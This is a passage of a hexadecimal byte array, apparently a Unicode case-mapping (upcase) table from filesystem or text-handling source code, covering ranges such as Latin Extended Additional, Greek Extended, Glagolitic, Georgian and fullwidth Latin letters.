0x1D, 0xAF, 0x1D, 0xB0, 0x1D, 0xB1, 0x1D, 0xB2, 0x1D, 0xB3, 0x1D, + 0xB4, 0x1D, 0xB5, 0x1D, 0xB6, 0x1D, 0xB7, 0x1D, 0xB8, 0x1D, 0xB9, 0x1D, 0xBA, 0x1D, 0xBB, 0x1D, + 0xBC, 0x1D, 0xBD, 0x1D, 0xBE, 0x1D, 0xBF, 0x1D, 0xC0, 0x1D, 0xC1, 0x1D, 0xC2, 0x1D, 0xC3, 0x1D, + 0xC4, 0x1D, 0xC5, 0x1D, 0xC6, 0x1D, 0xC7, 0x1D, 0xC8, 0x1D, 0xC9, 0x1D, 0xCA, 0x1D, 0xCB, 0x1D, + 0xCC, 0x1D, 0xCD, 0x1D, 0xCE, 0x1D, 0xCF, 0x1D, 0xD0, 0x1D, 0xD1, 0x1D, 0xD2, 0x1D, 0xD3, 0x1D, + 0xD4, 0x1D, 0xD5, 0x1D, 0xD6, 0x1D, 0xD7, 0x1D, 0xD8, 0x1D, 0xD9, 0x1D, 0xDA, 0x1D, 0xDB, 0x1D, + 0xDC, 0x1D, 0xDD, 0x1D, 0xDE, 0x1D, 0xDF, 0x1D, 0xE0, 0x1D, 0xE1, 0x1D, 0xE2, 0x1D, 0xE3, 0x1D, + 0xE4, 0x1D, 0xE5, 0x1D, 0xE6, 0x1D, 0xE7, 0x1D, 0xE8, 0x1D, 0xE9, 0x1D, 0xEA, 0x1D, 0xEB, 0x1D, + 0xEC, 0x1D, 0xED, 0x1D, 0xEE, 0x1D, 0xEF, 0x1D, 0xF0, 0x1D, 0xF1, 0x1D, 0xF2, 0x1D, 0xF3, 0x1D, + 0xF4, 0x1D, 0xF5, 0x1D, 0xF6, 0x1D, 0xF7, 0x1D, 0xF8, 0x1D, 0xF9, 0x1D, 0xFA, 0x1D, 0xFB, 0x1D, + 0xFC, 0x1D, 0xFD, 0x1D, 0xFE, 0x1D, 0xFF, 0x1D, 0x00, 0x1E, 0x00, 0x1E, 0x02, 0x1E, 0x02, 0x1E, + 0x04, 0x1E, 0x04, 0x1E, 0x06, 0x1E, 0x06, 0x1E, 0x08, 0x1E, 0x08, 0x1E, 0x0A, 0x1E, 0x0A, 0x1E, + 0x0C, 0x1E, 0x0C, 0x1E, 0x0E, 0x1E, 0x0E, 0x1E, 0x10, 0x1E, 0x10, 0x1E, 0x12, 0x1E, 0x12, 0x1E, + 0x14, 0x1E, 0x14, 0x1E, 0x16, 0x1E, 0x16, 0x1E, 0x18, 0x1E, 0x18, 0x1E, 0x1A, 0x1E, 0x1A, 0x1E, + 0x1C, 0x1E, 0x1C, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x20, 0x1E, 0x20, 0x1E, 0x22, 0x1E, 0x22, 0x1E, + 0x24, 0x1E, 0x24, 0x1E, 0x26, 0x1E, 0x26, 0x1E, 0x28, 0x1E, 0x28, 0x1E, 0x2A, 0x1E, 0x2A, 0x1E, + 0x2C, 0x1E, 0x2C, 0x1E, 0x2E, 0x1E, 0x2E, 0x1E, 0x30, 0x1E, 0x30, 0x1E, 0x32, 0x1E, 0x32, 0x1E, + 0x34, 0x1E, 0x34, 0x1E, 0x36, 0x1E, 0x36, 0x1E, 0x38, 0x1E, 0x38, 0x1E, 0x3A, 0x1E, 0x3A, 0x1E, + 0x3C, 0x1E, 0x3C, 0x1E, 0x3E, 0x1E, 0x3E, 0x1E, 0x40, 0x1E, 0x40, 0x1E, 0x42, 0x1E, 0x42, 0x1E, + 0x44, 0x1E, 0x44, 0x1E, 0x46, 0x1E, 0x46, 0x1E, 0x48, 0x1E, 0x48, 0x1E, 0x4A, 0x1E, 0x4A, 0x1E, + 0x4C, 0x1E, 0x4C, 0x1E, 0x4E, 0x1E, 0x4E, 0x1E, 0x50, 0x1E, 0x50, 0x1E, 0x52, 0x1E, 0x52, 0x1E, + 0x54, 0x1E, 0x54, 0x1E, 0x56, 0x1E, 0x56, 0x1E, 0x58, 0x1E, 0x58, 0x1E, 0x5A, 0x1E, 0x5A, 0x1E, + 0x5C, 0x1E, 0x5C, 0x1E, 0x5E, 0x1E, 0x5E, 0x1E, 0x60, 0x1E, 0x60, 0x1E, 0x62, 0x1E, 0x62, 0x1E, + 0x64, 0x1E, 0x64, 0x1E, 0x66, 0x1E, 0x66, 0x1E, 0x68, 0x1E, 0x68, 0x1E, 0x6A, 0x1E, 0x6A, 0x1E, + 0x6C, 0x1E, 0x6C, 0x1E, 0x6E, 0x1E, 0x6E, 0x1E, 0x70, 0x1E, 0x70, 0x1E, 0x72, 0x1E, 0x72, 0x1E, + 0x74, 0x1E, 0x74, 0x1E, 0x76, 0x1E, 0x76, 0x1E, 0x78, 0x1E, 0x78, 0x1E, 0x7A, 0x1E, 0x7A, 0x1E, + 0x7C, 0x1E, 0x7C, 0x1E, 0x7E, 0x1E, 0x7E, 0x1E, 0x80, 0x1E, 0x80, 0x1E, 0x82, 0x1E, 0x82, 0x1E, + 0x84, 0x1E, 0x84, 0x1E, 0x86, 0x1E, 0x86, 0x1E, 0x88, 0x1E, 0x88, 0x1E, 0x8A, 0x1E, 0x8A, 0x1E, + 0x8C, 0x1E, 0x8C, 0x1E, 0x8E, 0x1E, 0x8E, 0x1E, 0x90, 0x1E, 0x90, 0x1E, 0x92, 0x1E, 0x92, 0x1E, + 0x94, 0x1E, 0x94, 0x1E, 0x96, 0x1E, 0x97, 0x1E, 0x98, 0x1E, 0x99, 0x1E, 0x9A, 0x1E, 0x9B, 0x1E, + 0x9C, 0x1E, 0x9D, 0x1E, 0x9E, 0x1E, 0x9F, 0x1E, 0xA0, 0x1E, 0xA0, 0x1E, 0xA2, 0x1E, 0xA2, 0x1E, + 0xA4, 0x1E, 0xA4, 0x1E, 0xA6, 0x1E, 0xA6, 0x1E, 0xA8, 0x1E, 0xA8, 0x1E, 0xAA, 0x1E, 0xAA, 0x1E, + 0xAC, 0x1E, 0xAC, 0x1E, 0xAE, 0x1E, 0xAE, 0x1E, 0xB0, 0x1E, 0xB0, 0x1E, 0xB2, 0x1E, 0xB2, 0x1E, + 0xB4, 0x1E, 0xB4, 0x1E, 0xB6, 0x1E, 0xB6, 0x1E, 0xB8, 0x1E, 0xB8, 0x1E, 0xBA, 0x1E, 0xBA, 0x1E, + 0xBC, 0x1E, 0xBC, 0x1E, 0xBE, 0x1E, 0xBE, 0x1E, 0xC0, 0x1E, 0xC0, 0x1E, 0xC2, 0x1E, 0xC2, 0x1E, + 0xC4, 0x1E, 0xC4, 0x1E, 0xC6, 0x1E, 0xC6, 0x1E, 0xC8, 0x1E, 0xC8, 0x1E, 0xCA, 0x1E, 0xCA, 0x1E, + 0xCC, 0x1E, 0xCC, 0x1E, 0xCE, 0x1E, 0xCE, 0x1E, 0xD0, 0x1E, 0xD0, 0x1E, 0xD2, 0x1E, 0xD2, 0x1E, + 0xD4, 0x1E, 0xD4, 0x1E, 0xD6, 0x1E, 0xD6, 0x1E, 0xD8, 0x1E, 0xD8, 0x1E, 0xDA, 0x1E, 0xDA, 0x1E, + 0xDC, 0x1E, 0xDC, 0x1E, 0xDE, 0x1E, 0xDE, 0x1E, 0xE0, 0x1E, 0xE0, 0x1E, 0xE2, 0x1E, 0xE2, 0x1E, + 0xE4, 0x1E, 0xE4, 0x1E, 0xE6, 0x1E, 0xE6, 0x1E, 0xE8, 0x1E, 0xE8, 0x1E, 0xEA, 0x1E, 0xEA, 0x1E, + 0xEC, 0x1E, 0xEC, 0x1E, 0xEE, 0x1E, 0xEE, 0x1E, 0xF0, 0x1E, 0xF0, 0x1E, 0xF2, 0x1E, 0xF2, 0x1E, + 0xF4, 0x1E, 0xF4, 0x1E, 0xF6, 0x1E, 0xF6, 0x1E, 0xF8, 0x1E, 0xF8, 0x1E, 0xFA, 0x1E, 0xFB, 0x1E, + 0xFC, 0x1E, 0xFD, 0x1E, 0xFE, 0x1E, 0xFF, 0x1E, 0x08, 0x1F, 0x09, 0x1F, 0x0A, 0x1F, 0x0B, 0x1F, + 0x0C, 0x1F, 0x0D, 0x1F, 0x0E, 0x1F, 0x0F, 0x1F, 0x08, 0x1F, 0x09, 0x1F, 0x0A, 0x1F, 0x0B, 0x1F, + 0x0C, 0x1F, 0x0D, 0x1F, 0x0E, 0x1F, 0x0F, 0x1F, 0x18, 0x1F, 0x19, 0x1F, 0x1A, 0x1F, 0x1B, 0x1F, + 0x1C, 0x1F, 0x1D, 0x1F, 0x16, 0x1F, 0x17, 0x1F, 0x18, 0x1F, 0x19, 0x1F, 0x1A, 0x1F, 0x1B, 0x1F, + 0x1C, 0x1F, 0x1D, 0x1F, 0x1E, 0x1F, 0x1F, 0x1F, 0x28, 0x1F, 0x29, 0x1F, 0x2A, 0x1F, 0x2B, 0x1F, + 0x2C, 0x1F, 0x2D, 0x1F, 0x2E, 0x1F, 0x2F, 0x1F, 0x28, 0x1F, 0x29, 0x1F, 0x2A, 0x1F, 0x2B, 0x1F, + 0x2C, 0x1F, 0x2D, 0x1F, 0x2E, 0x1F, 0x2F, 0x1F, 0x38, 0x1F, 0x39, 0x1F, 0x3A, 0x1F, 0x3B, 0x1F, + 0x3C, 0x1F, 0x3D, 0x1F, 0x3E, 0x1F, 0x3F, 0x1F, 0x38, 0x1F, 0x39, 0x1F, 0x3A, 0x1F, 0x3B, 0x1F, + 0x3C, 0x1F, 0x3D, 0x1F, 0x3E, 0x1F, 0x3F, 0x1F, 0x48, 0x1F, 0x49, 0x1F, 0x4A, 0x1F, 0x4B, 0x1F, + 0x4C, 0x1F, 0x4D, 0x1F, 0x46, 0x1F, 0x47, 0x1F, 0x48, 0x1F, 0x49, 0x1F, 0x4A, 0x1F, 0x4B, 0x1F, + 0x4C, 0x1F, 0x4D, 0x1F, 0x4E, 0x1F, 0x4F, 0x1F, 0x50, 0x1F, 0x59, 0x1F, 0x52, 0x1F, 0x5B, 0x1F, + 0x54, 0x1F, 0x5D, 0x1F, 0x56, 0x1F, 0x5F, 0x1F, 0x58, 0x1F, 0x59, 0x1F, 0x5A, 0x1F, 0x5B, 0x1F, + 0x5C, 0x1F, 0x5D, 0x1F, 0x5E, 0x1F, 0x5F, 0x1F, 0x68, 0x1F, 0x69, 0x1F, 0x6A, 0x1F, 0x6B, 0x1F, + 0x6C, 0x1F, 0x6D, 0x1F, 0x6E, 0x1F, 0x6F, 0x1F, 0x68, 0x1F, 0x69, 0x1F, 0x6A, 0x1F, 0x6B, 0x1F, + 0x6C, 0x1F, 0x6D, 0x1F, 0x6E, 0x1F, 0x6F, 0x1F, 0xBA, 0x1F, 0xBB, 0x1F, 0xC8, 0x1F, 0xC9, 0x1F, + 0xCA, 0x1F, 0xCB, 0x1F, 0xDA, 0x1F, 0xDB, 0x1F, 0xF8, 0x1F, 0xF9, 0x1F, 0xEA, 0x1F, 0xEB, 0x1F, + 0xFA, 0x1F, 0xFB, 0x1F, 0x7E, 0x1F, 0x7F, 0x1F, 0x88, 0x1F, 0x89, 0x1F, 0x8A, 0x1F, 0x8B, 0x1F, + 0x8C, 0x1F, 0x8D, 0x1F, 0x8E, 0x1F, 0x8F, 0x1F, 0x88, 0x1F, 0x89, 0x1F, 0x8A, 0x1F, 0x8B, 0x1F, + 0x8C, 0x1F, 0x8D, 0x1F, 0x8E, 0x1F, 0x8F, 0x1F, 0x98, 0x1F, 0x99, 0x1F, 0x9A, 0x1F, 0x9B, 0x1F, + 0x9C, 0x1F, 0x9D, 0x1F, 0x9E, 0x1F, 0x9F, 0x1F, 0x98, 0x1F, 0x99, 0x1F, 0x9A, 0x1F, 0x9B, 0x1F, + 0x9C, 0x1F, 0x9D, 0x1F, 0x9E, 0x1F, 0x9F, 0x1F, 0xA8, 0x1F, 0xA9, 0x1F, 0xAA, 0x1F, 0xAB, 0x1F, + 0xAC, 0x1F, 0xAD, 0x1F, 0xAE, 0x1F, 0xAF, 0x1F, 0xA8, 0x1F, 0xA9, 0x1F, 0xAA, 0x1F, 0xAB, 0x1F, + 0xAC, 0x1F, 0xAD, 0x1F, 0xAE, 0x1F, 0xAF, 0x1F, 0xB8, 0x1F, 0xB9, 0x1F, 0xB2, 0x1F, 0xBC, 0x1F, + 0xB4, 0x1F, 0xB5, 0x1F, 0xB6, 0x1F, 0xB7, 0x1F, 0xB8, 0x1F, 0xB9, 0x1F, 0xBA, 0x1F, 0xBB, 0x1F, + 0xBC, 0x1F, 0xBD, 0x1F, 0xBE, 0x1F, 0xBF, 0x1F, 0xC0, 0x1F, 0xC1, 0x1F, 0xC2, 0x1F, 0xC3, 0x1F, + 0xC4, 0x1F, 0xC5, 0x1F, 0xC6, 0x1F, 0xC7, 0x1F, 0xC8, 0x1F, 0xC9, 0x1F, 0xCA, 0x1F, 0xCB, 0x1F, + 0xC3, 0x1F, 0xCD, 0x1F, 0xCE, 0x1F, 0xCF, 0x1F, 0xD8, 0x1F, 0xD9, 0x1F, 0xD2, 0x1F, 0xD3, 0x1F, + 0xD4, 0x1F, 0xD5, 0x1F, 0xD6, 0x1F, 0xD7, 0x1F, 0xD8, 0x1F, 0xD9, 0x1F, 0xDA, 0x1F, 0xDB, 0x1F, + 0xDC, 0x1F, 0xDD, 0x1F, 0xDE, 0x1F, 0xDF, 0x1F, 0xE8, 0x1F, 0xE9, 0x1F, 0xE2, 0x1F, 0xE3, 0x1F, + 0xE4, 0x1F, 0xEC, 0x1F, 0xE6, 0x1F, 0xE7, 0x1F, 0xE8, 0x1F, 0xE9, 0x1F, 0xEA, 0x1F, 0xEB, 0x1F, + 0xEC, 0x1F, 0xED, 0x1F, 0xEE, 0x1F, 0xEF, 0x1F, 0xF0, 0x1F, 0xF1, 0x1F, 0xF2, 0x1F, 0xF3, 0x1F, + 0xF4, 0x1F, 0xF5, 0x1F, 0xF6, 0x1F, 0xF7, 0x1F, 0xF8, 0x1F, 0xF9, 0x1F, 0xFA, 0x1F, 0xFB, 0x1F, + 0xF3, 0x1F, 0xFD, 0x1F, 0xFE, 0x1F, 0xFF, 0x1F, 0x00, 0x20, 0x01, 0x20, 0x02, 0x20, 0x03, 0x20, + 0x04, 0x20, 0x05, 0x20, 0x06, 0x20, 0x07, 0x20, 0x08, 0x20, 0x09, 0x20, 0x0A, 0x20, 0x0B, 0x20, + 0x0C, 0x20, 0x0D, 0x20, 0x0E, 0x20, 0x0F, 0x20, 0x10, 0x20, 0x11, 0x20, 0x12, 0x20, 0x13, 0x20, + 0x14, 0x20, 0x15, 0x20, 0x16, 0x20, 0x17, 0x20, 0x18, 0x20, 0x19, 0x20, 0x1A, 0x20, 0x1B, 0x20, + 0x1C, 0x20, 0x1D, 0x20, 0x1E, 0x20, 0x1F, 0x20, 0x20, 0x20, 0x21, 0x20, 0x22, 0x20, 0x23, 0x20, + 0x24, 0x20, 0x25, 0x20, 0x26, 0x20, 0x27, 0x20, 0x28, 0x20, 0x29, 0x20, 0x2A, 0x20, 0x2B, 0x20, + 0x2C, 0x20, 0x2D, 0x20, 0x2E, 0x20, 0x2F, 0x20, 0x30, 0x20, 0x31, 0x20, 0x32, 0x20, 0x33, 0x20, + 0x34, 0x20, 0x35, 0x20, 0x36, 0x20, 0x37, 0x20, 0x38, 0x20, 0x39, 0x20, 0x3A, 0x20, 0x3B, 0x20, + 0x3C, 0x20, 0x3D, 0x20, 0x3E, 0x20, 0x3F, 0x20, 0x40, 0x20, 0x41, 0x20, 0x42, 0x20, 0x43, 0x20, + 0x44, 0x20, 0x45, 0x20, 0x46, 0x20, 0x47, 0x20, 0x48, 0x20, 0x49, 0x20, 0x4A, 0x20, 0x4B, 0x20, + 0x4C, 0x20, 0x4D, 0x20, 0x4E, 0x20, 0x4F, 0x20, 0x50, 0x20, 0x51, 0x20, 0x52, 0x20, 0x53, 0x20, + 0x54, 0x20, 0x55, 0x20, 0x56, 0x20, 0x57, 0x20, 0x58, 0x20, 0x59, 0x20, 0x5A, 0x20, 0x5B, 0x20, + 0x5C, 0x20, 0x5D, 0x20, 0x5E, 0x20, 0x5F, 0x20, 0x60, 0x20, 0x61, 0x20, 0x62, 0x20, 0x63, 0x20, + 0x64, 0x20, 0x65, 0x20, 0x66, 0x20, 0x67, 0x20, 0x68, 0x20, 0x69, 0x20, 0x6A, 0x20, 0x6B, 0x20, + 0x6C, 0x20, 0x6D, 0x20, 0x6E, 0x20, 0x6F, 0x20, 0x70, 0x20, 0x71, 0x20, 0x72, 0x20, 0x73, 0x20, + 0x74, 0x20, 0x75, 0x20, 0x76, 0x20, 0x77, 0x20, 0x78, 0x20, 0x79, 0x20, 0x7A, 0x20, 0x7B, 0x20, + 0x7C, 0x20, 0x7D, 0x20, 0x7E, 0x20, 0x7F, 0x20, 0x80, 0x20, 0x81, 0x20, 0x82, 0x20, 0x83, 0x20, + 0x84, 0x20, 0x85, 0x20, 0x86, 0x20, 0x87, 0x20, 0x88, 0x20, 0x89, 0x20, 0x8A, 0x20, 0x8B, 0x20, + 0x8C, 0x20, 0x8D, 0x20, 0x8E, 0x20, 0x8F, 0x20, 0x90, 0x20, 0x91, 0x20, 0x92, 0x20, 0x93, 0x20, + 0x94, 0x20, 0x95, 0x20, 0x96, 0x20, 0x97, 0x20, 0x98, 0x20, 0x99, 0x20, 0x9A, 0x20, 0x9B, 0x20, + 0x9C, 0x20, 0x9D, 0x20, 0x9E, 0x20, 0x9F, 0x20, 0xA0, 0x20, 0xA1, 0x20, 0xA2, 0x20, 0xA3, 0x20, + 0xA4, 0x20, 0xA5, 0x20, 0xA6, 0x20, 0xA7, 0x20, 0xA8, 0x20, 0xA9, 0x20, 0xAA, 0x20, 0xAB, 0x20, + 0xAC, 0x20, 0xAD, 0x20, 0xAE, 0x20, 0xAF, 0x20, 0xB0, 0x20, 0xB1, 0x20, 0xB2, 0x20, 0xB3, 0x20, + 0xB4, 0x20, 0xB5, 0x20, 0xB6, 0x20, 0xB7, 0x20, 0xB8, 0x20, 0xB9, 0x20, 0xBA, 0x20, 0xBB, 0x20, + 0xBC, 0x20, 0xBD, 0x20, 0xBE, 0x20, 0xBF, 0x20, 0xC0, 0x20, 0xC1, 0x20, 0xC2, 0x20, 0xC3, 0x20, + 0xC4, 0x20, 0xC5, 0x20, 0xC6, 0x20, 0xC7, 0x20, 0xC8, 0x20, 0xC9, 0x20, 0xCA, 0x20, 0xCB, 0x20, + 0xCC, 0x20, 0xCD, 0x20, 0xCE, 0x20, 0xCF, 0x20, 0xD0, 0x20, 0xD1, 0x20, 0xD2, 0x20, 0xD3, 0x20, + 0xD4, 0x20, 0xD5, 0x20, 0xD6, 0x20, 0xD7, 0x20, 0xD8, 0x20, 0xD9, 0x20, 0xDA, 0x20, 0xDB, 0x20, + 0xDC, 0x20, 0xDD, 0x20, 0xDE, 0x20, 0xDF, 0x20, 0xE0, 0x20, 0xE1, 0x20, 0xE2, 0x20, 0xE3, 0x20, + 0xE4, 0x20, 0xE5, 0x20, 0xE6, 0x20, 0xE7, 0x20, 0xE8, 0x20, 0xE9, 0x20, 0xEA, 0x20, 0xEB, 0x20, + 0xEC, 0x20, 0xED, 0x20, 0xEE, 0x20, 0xEF, 0x20, 0xF0, 0x20, 0xF1, 0x20, 0xF2, 0x20, 0xF3, 0x20, + 0xF4, 0x20, 0xF5, 0x20, 0xF6, 0x20, 0xF7, 0x20, 0xF8, 0x20, 0xF9, 0x20, 0xFA, 0x20, 0xFB, 0x20, + 0xFC, 0x20, 0xFD, 0x20, 0xFE, 0x20, 0xFF, 0x20, 0x00, 0x21, 0x01, 0x21, 0x02, 0x21, 0x03, 0x21, + 0x04, 0x21, 0x05, 0x21, 0x06, 0x21, 0x07, 0x21, 0x08, 0x21, 0x09, 0x21, 0x0A, 0x21, 0x0B, 0x21, + 0x0C, 0x21, 0x0D, 0x21, 0x0E, 0x21, 0x0F, 0x21, 0x10, 0x21, 0x11, 0x21, 0x12, 0x21, 0x13, 0x21, + 0x14, 0x21, 0x15, 0x21, 0x16, 0x21, 0x17, 0x21, 0x18, 0x21, 0x19, 0x21, 0x1A, 0x21, 0x1B, 0x21, + 0x1C, 0x21, 0x1D, 0x21, 0x1E, 0x21, 0x1F, 0x21, 0x20, 0x21, 0x21, 0x21, 0x22, 0x21, 0x23, 0x21, + 0x24, 0x21, 0x25, 0x21, 0x26, 0x21, 0x27, 0x21, 0x28, 0x21, 0x29, 0x21, 0x2A, 0x21, 0x2B, 0x21, + 0x2C, 0x21, 0x2D, 0x21, 0x2E, 0x21, 0x2F, 0x21, 0x30, 0x21, 0x31, 0x21, 0x32, 0x21, 0x33, 0x21, + 0x34, 0x21, 0x35, 0x21, 0x36, 0x21, 0x37, 0x21, 0x38, 0x21, 0x39, 0x21, 0x3A, 0x21, 0x3B, 0x21, + 0x3C, 0x21, 0x3D, 0x21, 0x3E, 0x21, 0x3F, 0x21, 0x40, 0x21, 0x41, 0x21, 0x42, 0x21, 0x43, 0x21, + 0x44, 0x21, 0x45, 0x21, 0x46, 0x21, 0x47, 0x21, 0x48, 0x21, 0x49, 0x21, 0x4A, 0x21, 0x4B, 0x21, + 0x4C, 0x21, 0x4D, 0x21, 0x32, 0x21, 0x4F, 0x21, 0x50, 0x21, 0x51, 0x21, 0x52, 0x21, 0x53, 0x21, + 0x54, 0x21, 0x55, 0x21, 0x56, 0x21, 0x57, 0x21, 0x58, 0x21, 0x59, 0x21, 0x5A, 0x21, 0x5B, 0x21, + 0x5C, 0x21, 0x5D, 0x21, 0x5E, 0x21, 0x5F, 0x21, 0x60, 0x21, 0x61, 0x21, 0x62, 0x21, 0x63, 0x21, + 0x64, 0x21, 0x65, 0x21, 0x66, 0x21, 0x67, 0x21, 0x68, 0x21, 0x69, 0x21, 0x6A, 0x21, 0x6B, 0x21, + 0x6C, 0x21, 0x6D, 0x21, 0x6E, 0x21, 0x6F, 0x21, 0x60, 0x21, 0x61, 0x21, 0x62, 0x21, 0x63, 0x21, + 0x64, 0x21, 0x65, 0x21, 0x66, 0x21, 0x67, 0x21, 0x68, 0x21, 0x69, 0x21, 0x6A, 0x21, 0x6B, 0x21, + 0x6C, 0x21, 0x6D, 0x21, 0x6E, 0x21, 0x6F, 0x21, 0x80, 0x21, 0x81, 0x21, 0x82, 0x21, 0x83, 0x21, + 0x83, 0x21, 0xFF, 0xFF, 0x4B, 0x03, 0xB6, 0x24, 0xB7, 0x24, 0xB8, 0x24, 0xB9, 0x24, 0xBA, 0x24, + 0xBB, 0x24, 0xBC, 0x24, 0xBD, 0x24, 0xBE, 0x24, 0xBF, 0x24, 0xC0, 0x24, 0xC1, 0x24, 0xC2, 0x24, + 0xC3, 0x24, 0xC4, 0x24, 0xC5, 0x24, 0xC6, 0x24, 0xC7, 0x24, 0xC8, 0x24, 0xC9, 0x24, 0xCA, 0x24, + 0xCB, 0x24, 0xCC, 0x24, 0xCD, 0x24, 0xCE, 0x24, 0xCF, 0x24, 0xFF, 0xFF, 0x46, 0x07, 0x00, 0x2C, + 0x01, 0x2C, 0x02, 0x2C, 0x03, 0x2C, 0x04, 0x2C, 0x05, 0x2C, 0x06, 0x2C, 0x07, 0x2C, 0x08, 0x2C, + 0x09, 0x2C, 0x0A, 0x2C, 0x0B, 0x2C, 0x0C, 0x2C, 0x0D, 0x2C, 0x0E, 0x2C, 0x0F, 0x2C, 0x10, 0x2C, + 0x11, 0x2C, 0x12, 0x2C, 0x13, 0x2C, 0x14, 0x2C, 0x15, 0x2C, 0x16, 0x2C, 0x17, 0x2C, 0x18, 0x2C, + 0x19, 0x2C, 0x1A, 0x2C, 0x1B, 0x2C, 0x1C, 0x2C, 0x1D, 0x2C, 0x1E, 0x2C, 0x1F, 0x2C, 0x20, 0x2C, + 0x21, 0x2C, 0x22, 0x2C, 0x23, 0x2C, 0x24, 0x2C, 0x25, 0x2C, 0x26, 0x2C, 0x27, 0x2C, 0x28, 0x2C, + 0x29, 0x2C, 0x2A, 0x2C, 0x2B, 0x2C, 0x2C, 0x2C, 0x2D, 0x2C, 0x2E, 0x2C, 0x5F, 0x2C, 0x60, 0x2C, + 0x60, 0x2C, 0x62, 0x2C, 0x63, 0x2C, 0x64, 0x2C, 0x65, 0x2C, 0x66, 0x2C, 0x67, 0x2C, 0x67, 0x2C, + 0x69, 0x2C, 0x69, 0x2C, 0x6B, 0x2C, 0x6B, 0x2C, 0x6D, 0x2C, 0x6E, 0x2C, 0x6F, 0x2C, 0x70, 0x2C, + 0x71, 0x2C, 0x72, 0x2C, 0x73, 0x2C, 0x74, 0x2C, 0x75, 0x2C, 0x75, 0x2C, 0x77, 0x2C, 0x78, 0x2C, + 0x79, 0x2C, 0x7A, 0x2C, 0x7B, 0x2C, 0x7C, 0x2C, 0x7D, 0x2C, 0x7E, 0x2C, 0x7F, 0x2C, 0x80, 0x2C, + 0x80, 0x2C, 0x82, 0x2C, 0x82, 0x2C, 0x84, 0x2C, 0x84, 0x2C, 0x86, 0x2C, 0x86, 0x2C, 0x88, 0x2C, + 0x88, 0x2C, 0x8A, 0x2C, 0x8A, 0x2C, 0x8C, 0x2C, 0x8C, 0x2C, 0x8E, 0x2C, 0x8E, 0x2C, 0x90, 0x2C, + 0x90, 0x2C, 0x92, 0x2C, 0x92, 0x2C, 0x94, 0x2C, 0x94, 0x2C, 0x96, 0x2C, 0x96, 0x2C, 0x98, 0x2C, + 0x98, 0x2C, 0x9A, 0x2C, 0x9A, 0x2C, 0x9C, 0x2C, 0x9C, 0x2C, 0x9E, 0x2C, 0x9E, 0x2C, 0xA0, 0x2C, + 0xA0, 0x2C, 0xA2, 0x2C, 0xA2, 0x2C, 0xA4, 0x2C, 0xA4, 0x2C, 0xA6, 0x2C, 0xA6, 0x2C, 0xA8, 0x2C, + 0xA8, 0x2C, 0xAA, 0x2C, 0xAA, 0x2C, 0xAC, 0x2C, 0xAC, 0x2C, 0xAE, 0x2C, 0xAE, 0x2C, 0xB0, 0x2C, + 0xB0, 0x2C, 0xB2, 0x2C, 0xB2, 0x2C, 0xB4, 0x2C, 0xB4, 0x2C, 0xB6, 0x2C, 0xB6, 0x2C, 0xB8, 0x2C, + 0xB8, 0x2C, 0xBA, 0x2C, 0xBA, 0x2C, 0xBC, 0x2C, 0xBC, 0x2C, 0xBE, 0x2C, 0xBE, 0x2C, 0xC0, 0x2C, + 0xC0, 0x2C, 0xC2, 0x2C, 0xC2, 0x2C, 0xC4, 0x2C, 0xC4, 0x2C, 0xC6, 0x2C, 0xC6, 0x2C, 0xC8, 0x2C, + 0xC8, 0x2C, 0xCA, 0x2C, 0xCA, 0x2C, 0xCC, 0x2C, 0xCC, 0x2C, 0xCE, 0x2C, 0xCE, 0x2C, 0xD0, 0x2C, + 0xD0, 0x2C, 0xD2, 0x2C, 0xD2, 0x2C, 0xD4, 0x2C, 0xD4, 0x2C, 0xD6, 0x2C, 0xD6, 0x2C, 0xD8, 0x2C, + 0xD8, 0x2C, 0xDA, 0x2C, 0xDA, 0x2C, 0xDC, 0x2C, 0xDC, 0x2C, 0xDE, 0x2C, 0xDE, 0x2C, 0xE0, 0x2C, + 0xE0, 0x2C, 0xE2, 0x2C, 0xE2, 0x2C, 0xE4, 0x2C, 0xE5, 0x2C, 0xE6, 0x2C, 0xE7, 0x2C, 0xE8, 0x2C, + 0xE9, 0x2C, 0xEA, 0x2C, 0xEB, 0x2C, 0xEC, 0x2C, 0xED, 0x2C, 0xEE, 0x2C, 0xEF, 0x2C, 0xF0, 0x2C, + 0xF1, 0x2C, 0xF2, 0x2C, 0xF3, 0x2C, 0xF4, 0x2C, 0xF5, 0x2C, 0xF6, 0x2C, 0xF7, 0x2C, 0xF8, 0x2C, + 0xF9, 0x2C, 0xFA, 0x2C, 0xFB, 0x2C, 0xFC, 0x2C, 0xFD, 0x2C, 0xFE, 0x2C, 0xFF, 0x2C, 0xA0, 0x10, + 0xA1, 0x10, 0xA2, 0x10, 0xA3, 0x10, 0xA4, 0x10, 0xA5, 0x10, 0xA6, 0x10, 0xA7, 0x10, 0xA8, 0x10, + 0xA9, 0x10, 0xAA, 0x10, 0xAB, 0x10, 0xAC, 0x10, 0xAD, 0x10, 0xAE, 0x10, 0xAF, 0x10, 0xB0, 0x10, + 0xB1, 0x10, 0xB2, 0x10, 0xB3, 0x10, 0xB4, 0x10, 0xB5, 0x10, 0xB6, 0x10, 0xB7, 0x10, 0xB8, 0x10, + 0xB9, 0x10, 0xBA, 0x10, 0xBB, 0x10, 0xBC, 0x10, 0xBD, 0x10, 0xBE, 0x10, 0xBF, 0x10, 0xC0, 0x10, + 0xC1, 0x10, 0xC2, 0x10, 0xC3, 0x10, 0xC4, 0x10, 0xC5, 0x10, 0xFF, 0xFF, 0x1B, 0xD2, 0x21, 0xFF, + 0x22, 0xFF, 0x23, 0xFF, 0x24, 0xFF, 0x25, 0xFF, 0x26, 0xFF, 0x27, 0xFF, 0x28, 0xFF, 0x29, 0xFF, + 0x2A, 0xFF, 0x2B, 0xFF, 0x2C, 0xFF, 0x2D, 0xFF, 0x2E, 0xFF, 0x2F, 0xFF, 0x30, 0xFF, 0x31, 0xFF, + 0x32, 0xFF, 0x33, 0xFF, 0x34, 0xFF, 0x35, 0xFF, 0x36, 0xFF, 0x37, 0xFF, 0x38, 0xFF, 0x39, 0xFF, + 0x3A, 0xFF, 0x5B, 0xFF, 0x5C, 0xFF, 0x5D, 0xFF, 0x5E, 0xFF, 0x5F, 0xFF, 0x60, 0xFF, 0x61, 0xFF, + 0x62, 0xFF, 0x63, 0xFF, 0x64, 0xFF, 0x65, 0xFF, 0x66, 0xFF, 0x67, 0xFF, 0x68, 0xFF, 0x69, 0xFF, + 0x6A, 0xFF, 0x6B, 0xFF, 0x6C, 0xFF, 0x6D, 0xFF, 0x6E, 0xFF, 0x6F, 0xFF, 0x70, 0xFF, 0x71, 0xFF, + 0x72, 0xFF, 